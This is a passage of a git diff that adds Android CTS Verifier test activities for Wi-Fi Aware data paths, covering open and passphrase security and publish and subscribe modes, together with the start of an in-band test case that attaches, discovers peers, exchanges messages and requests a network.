+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe
+ */
+public class DataPathOpenPassiveSubscribeTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, true, false, true);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
new file mode 100644
index 0000000..154dcfe
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathOpenSolicitedPublishTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, true, true, false);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_open_solicited_publish,
+                R.string.aware_data_path_open_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
new file mode 100644
index 0000000..253bad9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathOpenUnsolicitedPublishTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, true, true, true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_open_unsolicited_publish,
+                R.string.aware_data_path_open_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
new file mode 100644
index 0000000..c8ef3ea
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe
+ */
+public class DataPathPassphraseActiveSubscribeTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, false, false, false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
new file mode 100644
index 0000000..ff40e03
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe
+ */
+public class DataPathPassphrasePassiveSubscribeTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, false, false, true);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
new file mode 100644
index 0000000..dcde6ff
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathPassphraseSolicitedPublishTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, false, true, false);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_passphrase_solicited_publish,
+                R.string.aware_data_path_passphrase_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
new file mode 100644
index 0000000..7a25bb4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathPassphraseUnsolicitedPublishTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, false, true, true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_passphrase_unsolicited_publish,
+                R.string.aware_data_path_passphrase_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
new file mode 100644
index 0000000..c2c7636
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.app.AlertDialog;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.database.DataSetObserver;
+import android.net.wifi.aware.WifiAwareManager;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.widget.ListView;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter;
+
+/**
+ * Activity listing all Wi-Fi Aware tests.
+ */
+public class TestListActivity extends PassFailButtons.TestListActivity {
+    private static final String TAG = "TestListActivity";
+
+    private WifiAwareManager mWifiAwareManager;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mWifiAwareManager = (WifiAwareManager) getSystemService(Context.WIFI_AWARE_SERVICE);
+        if (mWifiAwareManager == null) {
+            Log.wtf(TAG,
+                    "Can't get WIFI_AWARE_SERVICE. Should be gated by 'test_required_features'!?");
+            return;
+        }
+
+        setContentView(R.layout.pass_fail_list);
+        setInfoResources(R.string.aware_test, R.string.aware_test_info, 0);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        // Add the sub-test/categories
+        ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_ib_open_unsolicited));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_publish,
+                DataPathOpenUnsolicitedPublishTestActivity.class.getName(),
+                new Intent(this, DataPathOpenUnsolicitedPublishTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_subscribe,
+                DataPathOpenPassiveSubscribeTestActivity.class.getName(),
+                new Intent(this, DataPathOpenPassiveSubscribeTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_ib_passphrase_unsolicited));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_publish,
+                DataPathPassphraseUnsolicitedPublishTestActivity.class.getName(),
+                new Intent(this, DataPathPassphraseUnsolicitedPublishTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_subscribe,
+                DataPathPassphrasePassiveSubscribeTestActivity.class.getName(),
+                new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_ib_open_solicited));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_publish,
+                DataPathOpenSolicitedPublishTestActivity.class.getName(),
+                new Intent(this, DataPathOpenSolicitedPublishTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_subscribe,
+                DataPathOpenActiveSubscribeTestActivity.class.getName(),
+                new Intent(this, DataPathOpenActiveSubscribeTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_ib_passphrase_solicited));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_publish,
+                DataPathPassphraseSolicitedPublishTestActivity.class.getName(),
+                new Intent(this, DataPathPassphraseSolicitedPublishTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_subscribe,
+                DataPathPassphraseActiveSubscribeTestActivity.class.getName(),
+                new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_oob_open));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_responder,
+                DataPathOobOpenResponderTestActivity.class.getName(),
+                new Intent(this, DataPathOobOpenResponderTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_initiator,
+                DataPathOobOpenInitiatorTestActivity.class.getName(),
+                new Intent(this, DataPathOobOpenInitiatorTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_oob_passphrase));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_responder,
+                DataPathOobPassphraseResponderTestActivity.class.getName(),
+                new Intent(this, DataPathOobPassphraseResponderTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_initiator,
+                DataPathOobPassphraseInitiatorTestActivity.class.getName(),
+                new Intent(this, DataPathOobPassphraseInitiatorTestActivity.class), null));
+
+        adapter.registerDataSetObserver(new DataSetObserver() {
+            @Override
+            public void onChanged() {
+                updatePassButton();
+            }
+
+            @Override
+            public void onInvalidated() {
+                updatePassButton();
+            }
+        });
+
+        setTestListAdapter(adapter);
+    }
+
+    @Override
+    protected void handleItemClick(ListView listView, View view, int position, long id) {
+        if (!mWifiAwareManager.isAvailable()) {
+            showAwareEnableDialog();
+            return;
+        }
+
+        super.handleItemClick(listView, view, position, id);
+    }
+
+    /**
+     * Show the dialog to jump to system settings in order to enable
+     * WiFi (and by extension WiFi Aware).
+     */
+    private void showAwareEnableDialog() {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this);
+        builder.setIcon(android.R.drawable.ic_dialog_alert);
+        builder.setTitle(R.string.aware_not_enabled);
+        builder.setMessage(R.string.aware_not_enabled_message);
+        builder.setPositiveButton(R.string.aware_settings,
+                new DialogInterface.OnClickListener() {
+                    @Override
+                    public void onClick(DialogInterface dialog, int which) {
+                        startActivity(new Intent(Settings.ACTION_WIFI_SETTINGS));
+                    }
+                });
+        builder.create().show();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
new file mode 100644
index 0000000..635d066
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -0,0 +1,428 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware.testcase;
+
+import static com.android.cts.verifier.wifiaware.CallbackUtils.CALLBACK_TIMEOUT_SEC;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.aware.PeerHandle;
+import android.net.wifi.aware.PublishConfig;
+import android.net.wifi.aware.PublishDiscoverySession;
+import android.net.wifi.aware.SubscribeConfig;
+import android.net.wifi.aware.SubscribeDiscoverySession;
+import android.net.wifi.aware.WifiAwareSession;
+import android.util.Log;
+import android.util.Pair;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.BaseTestCase;
+import com.android.cts.verifier.wifiaware.CallbackUtils;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test case for data-path, in-band test cases:
+ * open/passphrase * solicited/unsolicited * publish/subscribe.
+ *
+ * Subscribe test sequence:
+ * 1. Attach
+ *    wait for results (session)
+ * 2. Subscribe
+ *    wait for results (subscribe session)
+ * 3. Wait for discovery
+ * 4. Send message
+ *    Wait for success
+ * 5. Wait for rx message
+ * 6. Request network
+ *    Wait for network
+ * 7. Destroy session
+ *
+ * Publish test sequence:
+ * 1. Attach
+ *    wait for results (session)
+ * 2. Publish
+ *    wait for results (publish session)
+ * 3. Wait for rx message
+ * 4. Request network
+ * 5. Send message
+ *    Wait for success
+ * 6. Wait for network
+ * 7. Destroy session
+ */
+public class DataPathInBandTestCase extends BaseTestCase {
+    private static final String TAG = "DataPathInBandTestCase";
+    private static final boolean DBG = true;
+
+    private static final String SERVICE_NAME = "CtsVerifierTestService";
+    private static final byte[] MATCH_FILTER_BYTES = "bytes used for matching".getBytes();
+    private static final byte[] PUB_SSI = "Extra bytes in the publisher discovery".getBytes();
+    private static final byte[] SUB_SSI = "Arbitrary bytes for the subscribe discovery".getBytes();
+    private static final byte[] MSG_SUB_TO_PUB = "Let's talk".getBytes();
+    private static final byte[] MSG_PUB_TO_SUB = "Ready".getBytes();
+    private static final String PASSPHRASE = "Some super secret password";
+    private static final int MESSAGE_ID = 1234;
+
+    private boolean mIsSecurityOpen;
+    private boolean mIsPublish;
+    private boolean mIsUnsolicited;
+
+    private final Object mLock = new Object();
+
+    private String mFailureReason;
+    private WifiAwareSession mWifiAwareSession;
+
+    public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
+            boolean isUnsolicited) {
+        super(context);
+        mIsSecurityOpen = isSecurityOpen;
+        mIsPublish = isPublish;
+        mIsUnsolicited = isUnsolicited;
+    }
+
+    @Override
+    protected boolean executeTest() throws InterruptedException {
+        if (DBG) {
+            Log.d(TAG,
+                    "executeTest: mIsSecurityOpen=" + mIsSecurityOpen + ", mIsPublish=" + mIsPublish
+                            + ", mIsUnsolicited=" + mIsUnsolicited);
+        }
+
+        // 1. attach
+        CallbackUtils.AttachCb attachCb = new CallbackUtils.AttachCb();
+        mWifiAwareManager.attach(attachCb, mHandler);
+        Pair<Integer, WifiAwareSession> results = attachCb.waitForAttach();
+        switch (results.first) {
+            case CallbackUtils.AttachCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_attach_timeout));
+                Log.e(TAG, "executeTest: attach TIMEOUT");
+                return false;
+            case CallbackUtils.AttachCb.ON_ATTACH_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_attach_fail));
+                Log.e(TAG, "executeTest: attach ON_ATTACH_FAILED");
+                return false;
+        }
+        mWifiAwareSession = results.second;
+        if (mWifiAwareSession == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_attach_fail));
+            Log.e(TAG, "executeTest: attach callback succeeded but null session returned!?");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_attached));
+        if (DBG) {
+            Log.d(TAG, "executeTest: attach succeeded");
+        }
+
+        if (mIsPublish) {
+            return executeTestPublisher();
+        } else {
+            return executeTestSubscriber();
+        }
+    }
+
+    private void setFailureReason(String reason) {
+        synchronized (mLock) {
+            mFailureReason = reason;
+        }
+    }
+
+    @Override
+    protected String getFailureReason() {
+        synchronized (mLock) {
+            return mFailureReason;
+        }
+    }
+
+    @Override
+    protected void tearDown() {
+        if (mWifiAwareSession != null) {
+            mWifiAwareSession.close();
+            mWifiAwareSession = null;
+        }
+        super.tearDown();
+    }
+
+    private boolean executeTestSubscriber() throws InterruptedException {
+        if (DBG) Log.d(TAG, "executeTestSubscriber");
+        CallbackUtils.DiscoveryCb discoveryCb = new CallbackUtils.DiscoveryCb();
+
+        // 2. subscribe
+        List<byte[]> matchFilter = new ArrayList<>();
+        matchFilter.add(MATCH_FILTER_BYTES);
+        SubscribeConfig subscribeConfig = new SubscribeConfig.Builder().setServiceName(
+                SERVICE_NAME).setServiceSpecificInfo(SUB_SSI).setMatchFilter(
+                matchFilter).setSubscribeType(
+                mIsUnsolicited ? SubscribeConfig.SUBSCRIBE_TYPE_PASSIVE
+                        : SubscribeConfig.SUBSCRIBE_TYPE_ACTIVE).setTerminateNotificationEnabled(
+                true).build();
+        if (DBG) Log.d(TAG, "executeTestSubscriber: subscribeConfig=" + subscribeConfig);
+        mWifiAwareSession.subscribe(subscribeConfig, discoveryCb, mHandler);
+
+        //    wait for results - subscribe session
+        CallbackUtils.DiscoveryCb.CallbackData callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_SUBSCRIBE_STARTED
+                        | CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_subscribe_timeout));
+                Log.e(TAG, "executeTestSubscriber: subscribe TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_subscribe_failed));
+                Log.e(TAG, "executeTestSubscriber: subscribe ON_SESSION_CONFIG_FAILED");
+                return false;
+        }
+        SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+        if (discoverySession == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
+            Log.e(TAG, "executeTestSubscriber: subscribe succeeded but null session returned");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_subscribe_started));
+        if (DBG) Log.d(TAG, "executeTestSubscriber: subscribe succeeded");
+
+        // 3. wait for discovery
+        callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_SERVICE_DISCOVERED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_discovery_timeout));
+                Log.e(TAG, "executeTestSubscriber: waiting for discovery TIMEOUT");
+                return false;
+        }
+        PeerHandle peerHandle = callbackData.peerHandle;
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_discovery));
+        if (DBG) Log.d(TAG, "executeTestSubscriber: discovery");
+
+        //    validate discovery parameters match
+        if (!Arrays.equals(PUB_SSI, callbackData.serviceSpecificInfo)) {
+            setFailureReason(mContext.getString(R.string.aware_status_discovery_fail));
+            Log.e(TAG, "executeTestSubscriber: discovery but SSI mismatch: rx='" + new String(
+                    callbackData.serviceSpecificInfo) + "'");
+            return false;
+        }
+        if (callbackData.matchFilter.size() != 1 || !Arrays.equals(MATCH_FILTER_BYTES,
+                callbackData.matchFilter.get(0))) {
+            setFailureReason(mContext.getString(R.string.aware_status_discovery_fail));
+            StringBuffer sb = new StringBuffer();
+            sb.append("size=").append(callbackData.matchFilter.size());
+            for (byte[] mf: callbackData.matchFilter) {
+                sb.append(", e='").append(new String(mf)).append("'");
+            }
+            Log.e(TAG, "executeTestSubscriber: discovery but matchFilter mismatch: "
+                    + sb.toString());
+            return false;
+        }
+        if (peerHandle == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_discovery_fail));
+            Log.e(TAG, "executeTestSubscriber: discovery but null peerHandle");
+            return false;
+        }
+
+        // 4. send message & wait for send status
+        discoverySession.sendMessage(peerHandle, MESSAGE_ID, MSG_SUB_TO_PUB);
+        callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_SUCCEEDED
+                        | CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_send_timeout));
+                Log.e(TAG, "executeTestSubscriber: send message TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_send_failed));
+                Log.e(TAG, "executeTestSubscriber: send message ON_MESSAGE_SEND_FAILED");
+                return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_send_success));
+        if (DBG) Log.d(TAG, "executeTestSubscriber: send message succeeded");
+
+        if (callbackData.messageId != MESSAGE_ID) {
+            setFailureReason(mContext.getString(R.string.aware_status_send_fail_parameter));
+            Log.e(TAG, "executeTestSubscriber: send message message ID mismatch: "
+                    + callbackData.messageId);
+            return false;
+        }
+
+        // 5. wait to receive message
+        callbackData = discoveryCb.waitForCallbacks(CallbackUtils.DiscoveryCb.ON_MESSAGE_RECEIVED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_receive_timeout));
+                Log.e(TAG, "executeTestSubscriber: receive message TIMEOUT");
+                return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_received));
+        if (DBG) Log.d(TAG, "executeTestSubscriber: received message");
+
+        //    validate that received the expected message
+        if (!Arrays.equals(MSG_PUB_TO_SUB, callbackData.serviceSpecificInfo)) {
+            setFailureReason(mContext.getString(R.string.aware_status_receive_failure));
+            Log.e(TAG, "executeTestSubscriber: receive message message content mismatch: rx='"
+                    + new String(callbackData.serviceSpecificInfo) + "'");
+            return false;
+        }
+
+        // 6. request network
+        ConnectivityManager cm = (ConnectivityManager) mContext.getSystemService(
+                Context.CONNECTIVITY_SERVICE);
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                mIsSecurityOpen ? discoverySession.createNetworkSpecifierOpen(peerHandle)
+                        : discoverySession.createNetworkSpecifierPassphrase(peerHandle,
+                                PASSPHRASE)).build();
+        CallbackUtils.NetworkCb networkCb = new CallbackUtils.NetworkCb();
+        cm.requestNetwork(nr, networkCb, CALLBACK_TIMEOUT_SEC * 1000);
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_requested));
+        if (DBG) Log.d(TAG, "executeTestSubscriber: requested network");
+        boolean networkAvailable = networkCb.waitForNetwork();
+        cm.unregisterNetworkCallback(networkCb);
+        if (!networkAvailable) {
+            setFailureReason(mContext.getString(R.string.aware_status_network_failed));
+            Log.e(TAG, "executeTestSubscriber: network request rejected - ON_UNAVAILABLE");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_success));
+        if (DBG) Log.d(TAG, "executeTestSubscriber: network request granted - AVAILABLE");
+
+        // 7. destroy session
+        discoverySession.close();
+
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
+        return true;
+    }
+
+    private boolean executeTestPublisher() throws InterruptedException {
+        if (DBG) Log.d(TAG, "executeTestPublisher");
+        CallbackUtils.DiscoveryCb discoveryCb = new CallbackUtils.DiscoveryCb();
+
+        // 2. publish
+        List<byte[]> matchFilter = new ArrayList<>();
+        matchFilter.add(MATCH_FILTER_BYTES);
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                SERVICE_NAME).setServiceSpecificInfo(PUB_SSI).setMatchFilter(
+                matchFilter).setPublishType(mIsUnsolicited ? PublishConfig.PUBLISH_TYPE_UNSOLICITED
+                : PublishConfig.PUBLISH_TYPE_SOLICITED).setTerminateNotificationEnabled(
+                true).build();
+        if (DBG) Log.d(TAG, "executeTestPublisher: publishConfig=" + publishConfig);
+        mWifiAwareSession.publish(publishConfig, discoveryCb, mHandler);
+
+        //    wait for results - publish session
+        CallbackUtils.DiscoveryCb.CallbackData callbackData = discoveryCb.waitForCallbacks(
